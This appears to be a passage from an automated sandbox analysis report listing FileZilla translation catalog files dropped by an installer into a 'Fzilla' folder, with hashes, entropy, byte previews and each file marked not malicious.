SSDEEP:	3072:uW57WI3MJ7YrLqswmINwdC+jTTxQgwt+m6eEh68aQ1a3GkKqJFovgKgW:ue76AnKNqC+jTTxQNaeEA8aQ1a3GkKq2
MD5:	0D3D780CC1D5E195E1382372B98E24BD
SHA1:	6ADB64FC788F473B112D1CE418AEDE9CF9F392F2
SHA-256:	DB7F52A3811E802AB9E7FB34D5F650901D1638BE4C929903385962EEA66C05E8
SHA-512:	B70EE875F3861E1A8DF5A45E82E3195ABD90DA6E95E2E6F478C3F26B87B36023782B9599C90E7C162A8BCFC9A69704A6516AC3A863073C0EE8A8250E71C65CCD
Malicious:	false
Preview:	.................4......\i......\i......]i......ni..S...\|i.......i..A....i.......j..0...?j..B...pj.......j.......j.......j.......j.......k.......k.......k......k......:k.."...Tk......wk.......k......pl..+....l.......l.......l.......l..5....l.......m......!m......1m......>m......Hm......Pm......am......sm.......m.......m.......m..K....m..0....n..2...Cn..2...vn.......n..0....n.......n..6....o......Do......Jo......Vo......io..;...qo.......o.......o.......o.......o.......o.......o.......p.......p......#p......9p......Tp......bp..+...kp.......p.......p.......p.......p.."....p.......p.......q..%...&q......Lq......Tq......dq.. ...oq.......q..H....q..I....q..4...9r......nr..:...zr.......r.......r.......r..4....r..$...)s......Ns......ms......ws.......s.......s.......s.......s.......s.......s.......s.......s.......s.......t.......t......'t......0t......Mt......Xt......rt......xt.......t.......t.......t.......t.......t.......t.......t..%....t..O....u..R...cu..1....u..0....u.......v......v......

C:\Program Files (x86)\Fzilla\locales\he_IL\is-FEM97.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1684 messages, Project-Id-Version: PACKAGE VERSION '%H:%M:%S \327\242\327\221\327\250\327\225'
Category:	dropped
Size (bytes):	173021
Entropy (8bit):	5.264148940978267
Encrypted:	false
SSDEEP:	3072:uW57WI3MJ7YrLqswmINwdC+jTTxQgwt+m6eEh68aQ1a3GkKqJFovgKgW:ue76AnKNqC+jTTxQNaeEA8aQ1a3GkKq2
MD5:	0D3D780CC1D5E195E1382372B98E24BD
SHA1:	6ADB64FC788F473B112D1CE418AEDE9CF9F392F2
SHA-256:	DB7F52A3811E802AB9E7FB34D5F650901D1638BE4C929903385962EEA66C05E8
SHA-512:	B70EE875F3861E1A8DF5A45E82E3195ABD90DA6E95E2E6F478C3F26B87B36023782B9599C90E7C162A8BCFC9A69704A6516AC3A863073C0EE8A8250E71C65CCD
Malicious:	false
Preview:	.................4......\i......\i......]i......ni..S...\|i.......i..A....i.......j..0...?j..B...pj.......j.......j.......j.......j.......k.......k.......k......k......:k.."...Tk......wk.......k......pl..+....l.......l.......l.......l..5....l.......m......!m......1m......>m......Hm......Pm......am......sm.......m.......m.......m..K....m..0....n..2...Cn..2...vn.......n..0....n.......n..6....o......Do......Jo......Vo......io..;...qo.......o.......o.......o.......o.......o.......o.......p.......p......#p......9p......Tp......bp..+...kp.......p.......p.......p.......p.."....p.......p.......q..%...&q......Lq......Tq......dq.. ...oq.......q..H....q..I....q..4...9r......nr..:...zr.......r.......r.......r..4....r..$...)s......Ns......ms......ws.......s.......s.......s.......s.......s.......s.......s.......s.......s.......t.......t......'t......0t......Mt......Xt......rt......xt.......t.......t.......t.......t.......t.......t.......t..%....t..O....u..R...cu..1....u..0....u.......v......v......

C:\Program Files (x86)\Fzilla\locales\he_IL\is-S0KT1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 11 messages, Project-Id-Version: filezilla '\327\240\327\220 \327\234\327\224\327\231\327\226\327\224\327\250! \327\252\327\242\327\225\327\223\327\224 \327\226\327\225 \327\240\327\251\327\234\327\234\327\224'
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	5.471233536275054
Encrypted:	false
SSDEEP:	48:tqxxnE1/Thq/TAzjL145r2qcEjtzWsDQAn9zD:tGnE1k0ju5r2UC2ntD
MD5:	CD866D5DE8316678CEC0532328D8C627
SHA1:	42A9D2F414E26E5062653050AB2EDDB7BA50EE0E
SHA-256:	C628FA6FCE34EB21749A6BA6D81AAD896A100D7BD5071E96F62DE0FE4D85DBD8
SHA-512:	408C2A90A92204562220C912C92A098545F53A02B623AE5E9E16B4D7CF3CA5F66C8443ED6B3237D56BA78112B3121D405BBC96C354BD3D8F80C8FAF69F0C29AB
Malicious:	false
Preview:	................t...................$.......X.......R...K...!.......................0...........%...5...B.......x...........-...K...{...y...r.......0...h...........*.......;.......%.......O...C............Beware! Certificate has been revoked.Could not get distinguished name of certificate issuer, gnutls_x509_get_issuer_dn failed.Could not get distinguished name of certificate subject, gnutls_x509_get_dn failed.Failed to verify peer certificate.Network unreachable.Remote certificate not trusted..Server did not properly shut down TLS connection.Unsupported certificate type.gnutls_certificate_get_peers returned no certificates.unknown.Project-Id-Version: filezilla.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: 2013-10-02 14:28+0300.Last-Translator: Yaron Shahrabani <sh.yaron@gmail.com>.Language-Team: Gezer.Language: he.MIME-Version: 1.0.Content-Type: text/plain; charset=UTF-8.Content-Transfer-Encoding: 8bit.Plural-Forms: nplurals=2; plural=(n != 1);.X-Generato

C:\Program Files (x86)\Fzilla\locales\he_IL\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 11 messages, Project-Id-Version: filezilla '\327\240\327\220 \327\234\327\224\327\231\327\226\327\224\327\250! \327\252\327\242\327\225\327\223\327\224 \327\226\327\225 \327\240\327\251\327\234\327\234\327\224'
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	5.471233536275054
Encrypted:	false
SSDEEP:	48:tqxxnE1/Thq/TAzjL145r2qcEjtzWsDQAn9zD:tGnE1k0ju5r2UC2ntD
MD5:	CD866D5DE8316678CEC0532328D8C627
SHA1:	42A9D2F414E26E5062653050AB2EDDB7BA50EE0E
SHA-256:	C628FA6FCE34EB21749A6BA6D81AAD896A100D7BD5071E96F62DE0FE4D85DBD8
SHA-512:	408C2A90A92204562220C912C92A098545F53A02B623AE5E9E16B4D7CF3CA5F66C8443ED6B3237D56BA78112B3121D405BBC96C354BD3D8F80C8FAF69F0C29AB
Malicious:	false
Preview:	................t...................$.......X.......R...K...!.......................0...........%...5...B.......x...........-...K...{...y...r.......0...h...........*.......;.......%.......O...C............Beware! Certificate has been revoked.Could not get distinguished name of certificate issuer, gnutls_x509_get_issuer_dn failed.Could not get distinguished name of certificate subject, gnutls_x509_get_dn failed.Failed to verify peer certificate.Network unreachable.Remote certificate not trusted..Server did not properly shut down TLS connection.Unsupported certificate type.gnutls_certificate_get_peers returned no certificates.unknown.Project-Id-Version: filezilla.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: 2013-10-02 14:28+0300.Last-Translator: Yaron Shahrabani <sh.yaron@gmail.com>.Language-Team: Gezer.Language: he.MIME-Version: 1.0.Content-Type: text/plain; charset=UTF-8.Content-Transfer-Encoding: 8bit.Plural-Forms: nplurals=2; plural=(n != 1);.X-Generato

C:\Program Files (x86)\Fzilla\locales\hr\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1178 messages, Project-Id-Version: filezilla 0 'Proteklo je %H:%M:%S'
Category:	dropped
Size (bytes):	115199
Entropy (8bit):	5.205349630497045
Encrypted:	false
SSDEEP:	1536:fYGg+ufTo6Nneme5375Zm01DGdxdwBA5HxOp30z0vzM5XUYJE3UVckLPLALF:JZ6hemeD9Gdx2OmA0vzM5EYJLPzuF
MD5:	6B32566D840A14484912924D619C42B4
SHA1:	87940B3765C9FE59D7D18F9F6FE478D1D106AD0E
SHA-256:	2114B7CCBA3BFA876E8A38E11A7BA2CA2EBEA59E29DA446D02C5DBE65C346AEE
SHA-512:	F1B12EAD8A8016DE2BB7267BC82D84CDFB5F61001B4DBA9BDB5E9B723D9A6DD0138C69686F24C4C8CB6A51AB45908E21BF69FD64C0FF3BCFF197074ED575C2BD
Malicious:	false
Preview:	.................$.......I.......I.......I.......I..S....I......0J..A...LJ.......J..0....J..B....J.......K.......K......+K......;K.."...UK......xK.......K.......K.......K.......K.......K.......K.......K.......K.......K..2....L......=L......XL..6...pL.......L.......L.......L..;....L.......L.......M.......M......%M......<M......MM......hM......vM..+....M.......M.......M.......M.."....M.......M.......N..%...N......PN......XN......hN..4...~N.......N.......N.......N..4....N......O......IO......SO......aO......nO......tO.......O.......O.......O.......O.......O.......O.......O.......P.......P.......P......0P......7P......EP..%...OP..R...uP..1....P..0....P......+Q......<Q......MQ......lQ......rQ.......Q.......Q.......Q.......Q.......Q.......R..3....R..$...?R..$...dR..)....R.......R.......R.......R.......R.......R.......S.......S......6S......RS......_S.. ...qS.......S.......S.......S.......S.......S.......S.......S.......S.......S.......S.......S.......S.......T.......T..)....T......=T......

C:\Program Files (x86)\Fzilla\locales\hr\is-R684A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1178 messages, Project-Id-Version: filezilla 0 'Proteklo je %H:%M:%S'
Category:	dropped
Size (bytes):	115199
Entropy (8bit):	5.205349630497045
Encrypted:	false
SSDEEP:	1536:fYGg+ufTo6Nneme5375Zm01DGdxdwBA5HxOp30z0vzM5XUYJE3UVckLPLALF:JZ6hemeD9Gdx2OmA0vzM5EYJLPzuF
MD5:	6B32566D840A14484912924D619C42B4
SHA1:	87940B3765C9FE59D7D18F9F6FE478D1D106AD0E
SHA-256:	2114B7CCBA3BFA876E8A38E11A7BA2CA2EBEA59E29DA446D02C5DBE65C346AEE
SHA-512:	F1B12EAD8A8016DE2BB7267BC82D84CDFB5F61001B4DBA9BDB5E9B723D9A6DD0138C69686F24C4C8CB6A51AB45908E21BF69FD64C0FF3BCFF197074ED575C2BD
Malicious:	false
Preview:	.................$.......I.......I.......I.......I..S....I......0J..A...LJ.......J..0....J..B....J.......K.......K......+K......;K.."...UK......xK.......K.......K.......K.......K.......K.......K.......K.......K.......K..2....L......=L......XL..6...pL.......L.......L.......L..;....L.......L.......M.......M......%M......<M......MM......hM......vM..+....M.......M.......M.......M.."....M.......M.......N..%...N......PN......XN......hN..4...~N.......N.......N.......N..4....N......O......IO......SO......aO......nO......tO.......O.......O.......O.......O.......O.......O.......O.......P.......P.......P......0P......7P......EP..%...OP..R...uP..1....P..0....P......+Q......<Q......MQ......lQ......rQ.......Q.......Q.......Q.......Q.......Q.......R..3....R..$...?R..$...dR..)....R.......R.......R.......R.......R.......R.......S.......S......6S......RS......_S.. ...qS.......S.......S.......S.......S.......S.......S.......S.......S.......S.......S.......S.......S.......T.......T..)....T......=T......

C:\Program Files (x86)\Fzilla\locales\hr\is-R9IU1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 5 messages, Project-Id-Version: filezilla 0 'Mre\305\276ne veze su nedostupne'
Category:	dropped
Size (bytes):	859
Entropy (8bit):	5.415494296183774
Encrypted:	false
SSDEEP:	24:g8W80h45rfvt0qty1f/YvXmG6gjk0lLoO+:qj45r+qcPxD/
MD5:	B68C4DA7D7E4DB18848B7B9B7E6A542D
SHA1:	164D01F3825DE4A312FDD7C3DDD1F4D05B12FA8F
SHA-256:	837840EA54CE476A4954180619CCA71361C9C609751BB39F37D46885DF7BAD10
SHA-512:	277D3FCD22795E888D22C60D3FD2CF9D08FDD91128AD6D4A8A22917758C17BFB84B1634E2DD8327A3F4B420D24CDB79489FDDA4BC758A5378DE3B9BA7399718A
Malicious:	false
Preview:	................D.......l.......l.......m...........0...............................&.......*...&.......Q....Network unreachable.Remote certificate not trusted..Server did not properly shut down TLS connection.unknown.Project-Id-Version: filezilla 0.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: 2009-07-28 08:40+0100.Last-Translator: Zdenko Rup.i. <zrupcic@gmail.com>.Language-Team: Croatian <hr@li.org>.Language: hr.MIME-Version: 1.0.Content-Type: text/plain; charset=UTF-8.Content-Transfer-Encoding: 8bit.Plural-Forms: nplurals=3; plural=n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 \|\| n%100>=20) ? 1 : 2;.X-Poedit-Language: Croatian.X-Poedit-Country: CROATIA.X-Poedit-SourceCharset: utf-8..Mre.ne veze su nedostupne.Udaljeni certifikat nije vjerodostojan.Poslu.itelj nije uredno zatvorio TLS-vezu.nepoznato.

C:\Program Files (x86)\Fzilla\locales\hr\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 5 messages, Project-Id-Version: filezilla 0 'Mre\305\276ne veze su nedostupne'
Category:	dropped
Size (bytes):	859
Entropy (8bit):	5.415494296183774
Encrypted:	false
SSDEEP:	24:g8W80h45rfvt0qty1f/YvXmG6gjk0lLoO+:qj45r+qcPxD/
MD5:	B68C4DA7D7E4DB18848B7B9B7E6A542D
SHA1:	164D01F3825DE4A312FDD7C3DDD1F4D05B12FA8F
SHA-256:	837840EA54CE476A4954180619CCA71361C9C609751BB39F37D46885DF7BAD10
SHA-512:	277D3FCD22795E888D22C60D3FD2CF9D08FDD91128AD6D4A8A22917758C17BFB84B1634E2DD8327A3F4B420D24CDB79489FDDA4BC758A5378DE3B9BA7399718A
Malicious:	false
Preview:	................D.......l.......l.......m...........0...............................&.......*...&.......Q....Network unreachable.Remote certificate not trusted..Server did not properly shut down TLS connection.unknown.Project-Id-Version: filezilla 0.Report-Msgid-Bugs-To: https://trac.filezilla-project.org/.PO-Revision-Date: 2009-07-28 08:40+0100.Last-Translator: Zdenko Rup.i. <zrupcic@gmail.com>.Language-Team: Croatian <hr@li.org>.Language: hr.MIME-Version: 1.0.Content-Type: text/plain; charset=UTF-8.Content-Transfer-Encoding: 8bit.Plural-Forms: nplurals=3; plural=n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 \|\| n%100>=20) ? 1 : 2;.X-Poedit-Language: Croatian.X-Poedit-Country: CROATIA.X-Poedit-SourceCharset: utf-8..Mre.ne veze su nedostupne.Udaljeni certifikat nije vjerodostojan.Poslu.itelj nije uredno zatvorio TLS-vezu.nepoznato.

C:\Program Files (x86)\Fzilla\locales\hu_HU\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1630 messages, Project-Id-Version: FileZilla 3 'Eltelt: %H:%M:%S'
Category:	dropped
Size (bytes):	164176
Entropy (8bit):	5.348876664509075
Encrypted:	false
SSDEEP:	3072:QULQR9nLfComHRTd9FyYTVJNtwaFBFw9qDwYiVTAZuA8B17m9s:QfPDClRp9FyYTVrXwIiVEZuLRm9s
MD5:	13B69988312883B385900B149A396409
SHA1:	5A96641FD934F875C3BE459899893D4A777DE683
SHA-256:	62600458174371DAFE15E4DE96C76B808C8CA0EE3D0BC8490F643FD9B7A8DFF6
SHA-512:	5D8E28C469BB4A706450B751A092F068E4BA78C01638D0876DD46054B52989C1E69C745D0EB5466F0F215F9F8905FF7EB261D9587928470B373ECAE00BAB9A51
Malicious:	false
Preview:	........^........3.......e.......e.......e.......f..S....f......pf..A....f.......f..0....f..B....g......Sg......hg......rg.......g.......g.......g.......g.......g.......g.."....g.......h......(h.......i..+... i......Li......Zi..5...ni.......i.......i.......i.......i.......i.......i.......i.......j..2....j......Ij......dj..6...\|j.......j.......j.......j.......j..;....j.......k......'k......2k......Dk......[k......bk......sk.......k.......k.......k..+....k.......k.......k.......l.......l.."...#l......Fl......Wl..%...vl.......l.......l.. ....l.......l..H....l..I...4m..4...~m.......m..:....m.......m.......n..4...0n......en.......n.......n.......n.......n.......n.......n.......n.......n.......n.......o.......o.......o......3o......<o......Yo......do......~o.......o.......o.......o.......o.......o.......o.......o..%....o..O....p..R..._p..1....p..0....p.......q......&q......7q......Vq......\q......rq......{q.......q.......q.......q.......q.......q..2....r..3...=r......qr..$...\|r..$....r..)...

C:\Program Files (x86)\Fzilla\locales\hu_HU\is-4S68T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1630 messages, Project-Id-Version: FileZilla 3 'Eltelt: %H:%M:%S'
Category:	dropped
Size (bytes):	164176
Entropy (8bit):	5.348876664509075
Encrypted:	false
SSDEEP:	3072:QULQR9nLfComHRTd9FyYTVJNtwaFBFw9qDwYiVTAZuA8B17m9s:QfPDClRp9FyYTVrXwIiVEZuLRm9s
MD5:	13B69988312883B385900B149A396409
SHA1:	5A96641FD934F875C3BE459899893D4A777DE683
SHA-256:	62600458174371DAFE15E4DE96C76B808C8CA0EE3D0BC8490F643FD9B7A8DFF6
SHA-512:	5D8E28C469BB4A706450B751A092F068E4BA78C01638D0876DD46054B52989C1E69C745D0EB5466F0F215F9F8905FF7EB261D9587928470B373ECAE00BAB9A51
Malicious:	false
Preview:	........^........3.......e.......e.......e.......f..S....f......pf..A....f.......f..0....f..B....g......Sg......hg......rg.......g.......g.......g.......g.......g.......g.."....g.......h......(h.......i..+... i......Li......Zi..5...ni.......i.......i.......i.......i.......i.......i.......i.......j..2....j......Ij......dj..6...\|j.......j.......j.......j.......j..;....j.......k......'k......2k......Dk......[k......bk......sk.......k.......k.......k..+....k.......k.......k.......l.......l.."...#l......Fl......Wl..%...vl.......l.......l.. ....l.......l..H....l..I...4m..4...~m.......m..:....m.......m.......n..4...0n......en.......n.......n.......n.......n.......n.......n.......n.......n.......n.......o.......o.......o......3o......<o......Yo......do......~o.......o.......o.......o.......o.......o.......o.......o..%....o..O....p..R..._p..1....p..0....p.......q......&q......7q......Vq......\q......rq......{q.......q.......q.......q.......q.......q..2....r..3...=r......qr..$...\|r..$....r..)...

C:\Program Files (x86)\Fzilla\locales\hu_HU\is-DL1ID.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 75 messages, Project-Id-Version: FileZilla 3 'A hiteles\303\255t\303\251si l\303\241nc egyik tan\303\272s\303\255tv\303\241nya nem biztons\303\241gos algoritmussal van al\303\241\303\255rva'
Category:	dropped
Size (bytes):	7663
Entropy (8bit):	5.207445939163463
Encrypted:	false
SSDEEP:	192:nKlOaZGJqe790vMm3dwW3TZVJvfzztD/ATZAP:KlOakB9EwApHVZ
MD5:	866ADD9F73663C55DA6F6AF2474E572C
SHA1:	0BD7CE865E6198AA9EE91B537FCC9B1A280F15C4
SHA-256:	566AF80F6F8FAAF4B48A755644409ECB4F96108452E61B9C3D7A0106D419C47E
SHA-512:	F826D6CB4CE395636F1CA5529FA4096EB99CFDCA6366DD7CBB5AA677D1FBA210052632DBFB08A2A2B4C9ED05FFD5243EC70AFC34647C2376D6031586AE29D0E2
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(...................*.......@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g...Y.......D...W...!.............../...............5...........T...!...n...).......&.......$.......F....... ...M...v...n...i.......:...O...=...........................................'.......:.......X...$...w...........%.......#...................#.......<...<...N...J...............$.......".......2...9...:...l...............................................&...,...

C:\Program Files (x86)\Fzilla\locales\hu_HU\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 75 messages, Project-Id-Version: FileZilla 3 'A hiteles\303\255t\303\251si l\303\241nc egyik tan\303\272s\303\255tv\303\241nya nem biztons\303\241gos algoritmussal van al\303\241\303\255rva'
Category:	dropped
Size (bytes):	7663
Entropy (8bit):	5.207445939163463
Encrypted:	false
SSDEEP:	192:nKlOaZGJqe790vMm3dwW3TZVJvfzztD/ATZAP:KlOakB9EwApHVZ
MD5:	866ADD9F73663C55DA6F6AF2474E572C
SHA1:	0BD7CE865E6198AA9EE91B537FCC9B1A280F15C4
SHA-256:	566AF80F6F8FAAF4B48A755644409ECB4F96108452E61B9C3D7A0106D419C47E
SHA-512:	F826D6CB4CE395636F1CA5529FA4096EB99CFDCA6366DD7CBB5AA677D1FBA210052632DBFB08A2A2B4C9ED05FFD5243EC70AFC34647C2376D6031586AE29D0E2
Malicious:	false
Preview:	........K.......t...................A.......A...........Q.......j...$...~...........)...................................:.......V...1...o...........X.......R....... ...h...!...........................................................).......?.......W.......r...................................4.......P...........p...#...............).......(...................*.......@.......X.......k.......y...................+.......+.......L.......-...c................... .......0.......M... ...$...n...........................,.......#.......%...,...$...R...%...w...'.......n.......?...4...7...t...-.......1...............5...)......._.......g...Y.......D...W...!.............../...............5...........T...!...n...).......&.......$.......F....... ...M...v...n...i.......:...O...=...........................................'.......:.......X...$...w...........%.......#...................#.......<...<...N...J...............$.......".......2...9...:...l...............................................&...,...

C:\Program Files (x86)\Fzilla\locales\hy\filezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1562 messages, Project-Id-Version: \325\200\325\241\325\265\325\245\326\200\325\245\325\266 \325\251\325\241\326\200\325\243\325\264\325\241\325\266\325\270\326\202\325\251\325\265\325\270\326\202\325\266 '\324\261\325\266\326\201\325\245\325\254 \325\247\325\235 %H:%M:%S'
Category:	dropped
Size (bytes):	182588
Entropy (8bit):	5.41488472590013
Encrypted:	false
SSDEEP:	3072:wXTkXcM236mmHOFd9zgET2auoxC9zwGzZskb+:wXToV/OD9zgET2ZOdkS
MD5:	E0D6CA2F731D66520BD5C5DEA73604A6
SHA1:	1BFB905328D2B2D915E905B97D4C5FEA744BD869
SHA-256:	EEC54130F4D599871E6C6DA7B901DCA809446EB50F6A2F53EDA63554E70206A9
SHA-512:	3324CF983E02B5167D49AF844A2A6DAF88E5F984C8E9F5184FA7F2415F204A440C66D8C30BD721E9219471D982826DB778703E5D3DFA90419B337A6858EEF169
Malicious:	false
Preview:	.................0.......a.......a.......a.......a..S....a......0b..A...Lb.......b..0....b..B....b.......c......(c......2c......Rc......gc......uc.......c.......c.......c.."....c.......c.......c.......c.......d..5....d......Pd......Zd......dd......ld......}d.......d.......d..2....d.......d.......d..6....e......Me......Se......_e......re..;...ze.......e.......e.......e.......e.......e.......e.......f......(f......6f..+...?f......kf......~f.......f.......f.."....f.......f.......f..%....f...... g......(g......8g..H...Ng..I....g..4....g.......h..:..."h......]h......th..4....h.......h.......h.......h.......h.......i.......i.......i......4i......<i......Pi......ei......pi......}i.......i.......i.......i.......i.......i.......i.......i.......j.......j......+j......9j......Bj..%...Lj..O...rj..R....j..1....k..0...Gk......xk.......k.......k.......k.......k.......k.......k.......k.......k......-l......Ml......Xl..2...ml..3....l.......l..$....l..$....m..)...)m......Sm......im......{m.......m......

C:\Program Files (x86)\Fzilla\locales\hy\is-IDBIS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 74 messages, Project-Id-Version: \325\200\325\241\325\265\325\245\326\200\325\245\325\266 \325\251\325\241\326\200\325\243\325\264\325\241\325\266\325\270\326\202\325\251\325\265\325\270\326\202\325\266 '\325\216\325\257\325\241\325\265\325\241\325\243\325\253\326\200\325\250 \325\267\325\262\325\251\325\241\325\265\325\270\326\202\325\264 \325\275\325\277\325\270\326\200\325\241\325\243\326\200\325\276\325\241\325\256 \325\247 \325\270\325\271 \325\241\325\266\325\276\325\277\325\241\325\266\325\243 \325\241\325\254\325\243\325\270\326\200\325\253\325\251\325\264\325\270\325\276'
Category:	dropped
Size (bytes):	8756
Entropy (8bit):	5.344938445616127
Encrypted:	false
SSDEEP:	96:lGMQZMYFVxSdIKgnVvqk9Ra1Jqe790vMmU87cqLu5J+pKTZO+7DswmTqDZeiBKfZ:AMWHr/ZGJqe790vMm3d0UYZpM4MQ2
MD5:	F1CF847FD9307F45224D500A41659E53
SHA1:	E60EA95873B53E4C4985F3FB31DC6F88AD524FA5
SHA-256:	A6DE37A294436B47B39568CCB5FCA92652864289AE696A862CAA5DAD5DC1F6D8
SHA-512:	C90C4A60FFE2E34F15337416E35467BC72BFB92DD77B631CEA161E5505E5D1959608C055BBF078D6D6202FFB3B611C393BED977FC5CC14D8D2ACED8A4FCC1E20
Malicious:	false
Preview:	........J.......l...................A.......A...........A.......Z...$...n...........)..........................................F...1..._...........X.......R....... ...X...!...y.............................................................../.......G.......b.......z...........................4.......P...........`...#...t...........).......(...........................0.......H.......[.......i.......{...........+.......+.......L.......-...S................... .......0.......M.......$...^...........................,.......#.......%.......$...B...%...g...'.......?.......7.......-...-...1...[...........5.......................d.......b...<...7.......%.......@.......>...>...M...}...(.......;.......J...0...J...{...J.......r.......9.......m.......f...,...I.......7......./...........E.......X.......u...................7..........................@.../...T...-.......?.......2.......C...%...z...i... .......:.......)...@...J...j...@.......@.......2...7...$...j...(.......$...............-.......6...

C:\Program Files (x86)\Fzilla\locales\hy\is-NNN29.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1562 messages, Project-Id-Version: \325\200\325\241\325\265\325\245\326\200\325\245\325\266 \325\251\325\241\326\200\325\243\325\264\325\241\325\266\325\270\326\202\325\251\325\265\325\270\326\202\325\266 '\324\261\325\266\326\201\325\245\325\254 \325\247\325\235 %H:%M:%S'
Category:	dropped
Size (bytes):	182588
Entropy (8bit):	5.41488472590013
Encrypted:	false
SSDEEP:	3072:wXTkXcM236mmHOFd9zgET2auoxC9zwGzZskb+:wXToV/OD9zgET2ZOdkS
MD5:	E0D6CA2F731D66520BD5C5DEA73604A6
SHA1:	1BFB905328D2B2D915E905B97D4C5FEA744BD869
SHA-256:	EEC54130F4D599871E6C6DA7B901DCA809446EB50F6A2F53EDA63554E70206A9
SHA-512:	3324CF983E02B5167D49AF844A2A6DAF88E5F984C8E9F5184FA7F2415F204A440C66D8C30BD721E9219471D982826DB778703E5D3DFA90419B337A6858EEF169
Malicious:	false
Preview:	.................0.......a.......a.......a.......a..S....a......0b..A...Lb.......b..0....b..B....b.......c......(c......2c......Rc......gc......uc.......c.......c.......c.."....c.......c.......c.......c.......d..5....d......Pd......Zd......dd......ld......}d.......d.......d..2....d.......d.......d..6....e......Me......Se......_e......re..;...ze.......e.......e.......e.......e.......e.......e.......f......(f......6f..+...?f......kf......~f.......f.......f.."....f.......f.......f..%....f...... g......(g......8g..H...Ng..I....g..4....g.......h..:..."h......]h......th..4....h.......h.......h.......h.......h.......i.......i.......i......4i......<i......Pi......ei......pi......}i.......i.......i.......i.......i.......i.......i.......i.......j.......j......+j......9j......Bj..%...Lj..O...rj..R....j..1....k..0...Gk......xk.......k.......k.......k.......k.......k.......k.......k.......k......-l......Ml......Xl..2...ml..3....l.......l..$....l..$....m..)...)m......Sm......im......{m.......m......

C:\Program Files (x86)\Fzilla\locales\hy\libfilezilla.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 74 messages, Project-Id-Version: \325\200\325\241\325\265\325\245\326\200\325\245\325\266 \325\251\325\241\326\200\325\243\325\264\325\241\325\266\325\270\326\202\325\251\325\265\325\270\326\202\325\266 '\325\216\325\257\325\241\325\265\325\241\325\243\325\253\326\200\325\250 \325\267\325\262\325\251\325\241\325\265\325\270\326\202\325\264 \325\275\325\277\325\270\326\200\325\241\325\243\326\200\325\276\325\241\325\256 \325\247 \325\270\325\271 \325\241\325\266\325\276\325\277\325\241\325\266\325\243 \325\241\325\254\325\243\325\270\326\200\325\253\325\251\325\264\325\270\325\276'
Category:	dropped
Size (bytes):	8756
Entropy (8bit):	5.344938445616127
Encrypted:	false
SSDEEP:	96:lGMQZMYFVxSdIKgnVvqk9Ra1Jqe790vMmU87cqLu5J+pKTZO+7DswmTqDZeiBKfZ:AMWHr/ZGJqe790vMm3d0UYZpM4MQ2
MD5:	F1CF847FD9307F45224D500A41659E53
SHA1:	E60EA95873B53E4C4985F3FB31DC6F88AD524FA5
SHA-256:	A6DE37A294436B47B39568CCB5FCA92652864289AE696A862CAA5DAD5DC1F6D8
SHA-512:	C90C4A60FFE2E34F15337416E35467BC72BFB92DD77B631CEA161E5505E5D1959608C055BBF078D6D6202FFB3B611C393BED977FC5CC14D8D2ACED8A4FCC1E20
Malicious:	false
